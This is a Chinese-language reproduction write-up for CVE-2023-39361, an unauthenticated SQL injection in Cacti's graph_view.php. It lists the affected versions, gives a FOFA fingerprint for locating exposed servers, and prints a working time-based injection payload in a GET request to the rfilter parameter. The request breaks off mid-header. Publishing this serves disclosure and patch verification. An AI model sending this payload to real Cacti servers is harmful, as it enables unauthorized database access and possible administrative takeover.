Cacti 前台SQL注入漏洞复现(CVE-2023-39361)

发布时间:2024年01月19日

0x01 产品简介

Cacti 是一套基于 PHP,MySQL,SNMP 及 RRDTool 开发的网络流量监测图形分析工具。

0x02 漏洞概述

该漏洞存在于graph_view.php文件中。默认情况下,访客用户无需身份验证即可访问graph_view.php,在启用情况下使用时会导致SQL注入漏洞。

攻击者可能利用此漏洞执行远程代码或篡夺管理权限。Growth_right_pane_tree函数包含从graph_view.php文件调用的漏洞。在tree_content情况下,用户输入通过html_validate_tree_vars函数进行验证。如果tree_id参数大于0,则调用grow_right_pane_tree函数。

0x03 影响范围

Cacti <= 1.2.24

0x04 复现环境

FOFA:icon_hash="-1797138069"

0x05 漏洞复现

PoC

GET /graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=%22or+%22%22%3d%22%28%28%22%29%29%3bselect+sleep%285%29%3b--+- HTTP/1.1
Host: your-ip
User
文章来源:https://blog.csdn.net/qq_41904294/article/details/135687576
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。